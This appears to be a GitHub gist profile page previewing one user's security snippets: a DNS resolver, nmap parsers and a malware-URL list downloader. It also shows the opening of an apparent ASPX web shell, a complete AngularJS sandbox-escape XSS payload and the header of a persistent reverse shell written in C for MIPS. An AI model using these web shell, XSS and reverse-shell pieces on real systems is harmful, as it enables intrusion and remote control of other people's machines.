Skip to content

Instantly share code, notes, and snippets.

View numanturle's full-sized avatar
🕳️

numan numanturle

🕳️
View GitHub Profile
@numanturle
numanturle / dns.php
Created August 2, 2022 14:41
dns.php
<?php
$ac = file("kapsam.txt");
foreach($ac as $x){
$x = trim($x);
$x = str_replace(["https://","http://","www.","/"],"",$x);
$sdip = gethostbynamel($x);
if(isset($sdip[0])){
echo $sdip[0].PHP_EOL;
}else {
echo "IP COZUMLENMEDI".PHP_EOL;
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%
string outstr = "";
string dir = Page.MapPath(".") + "/";
if (Request.QueryString["fdir"] != null)
dir = Request.QueryString["fdir"] + "/";
@numanturle
numanturle / MalwareURLs.ps1
Created April 20, 2022 12:13
MalwareURLs download
$db_name = "MalwareURLs.txt"
if (!(Test-Path $db_name))
{
New-Item -name $db_name -type "file" -value
Write-Output "Created new file and text content added"
}
$url_list = @(
@numanturle
numanturle / parser3.py
Created April 1, 2022 14:57
python parser nmap
#!/usr/bin/python
import sys
import argparse
import xml.etree.ElementTree as ET
def main(argv):
inputfile = ''
outputfile = ''
@numanturle
numanturle / parser.php
Created March 24, 2022 14:29
nmap terminal parser
<?php
$ac = file(trim($argv[1]));
$start = 0;
$sonuc = [];
$son_ip = "";
foreach($ac as $satir){
if(strstr($satir, "Nmap scan report for")){
$start = 1;
#!/usr/bin/python
import sys
import argparse
import xml.etree.ElementTree as ET
def main(argv):
inputfile = ''
outputfile = ''
{{x={"n":"".constructor.prototype};x["n"].charAt=[].join;$eval("x=alert(\"pwned --> numanturle\")");}}
// Simple Persistent Reverse Shell
// Compile for MIPSBE using the following steps:
// 1) cp reverse_shell_mipsbe.c /tmp/
// 2) using buildroot toolchain for compile mipsel-buildroot-linux-uclibc-gcc-10.3.0
// 4) cd /tmp ; output/host/bin/mipsel-buildroot-linux-uclibc-gcc-10.3.0 -static /home/sasaga/Escritorio/shellcode/rev.c -o /home/sasaga/Escritorio/shellcode/rev
// Outside Docker:
// 5) cp /tmp/rev .
#include <sys/types.h>
#include <sys/socket.h>
192.168.0.28
192.168.0.29
192.168.0.197
192.168.0.99
192.168.0.210
192.168.0.212
192.168.0.211
192.168.0.249
ms-cxh-full://
ms-cxh:/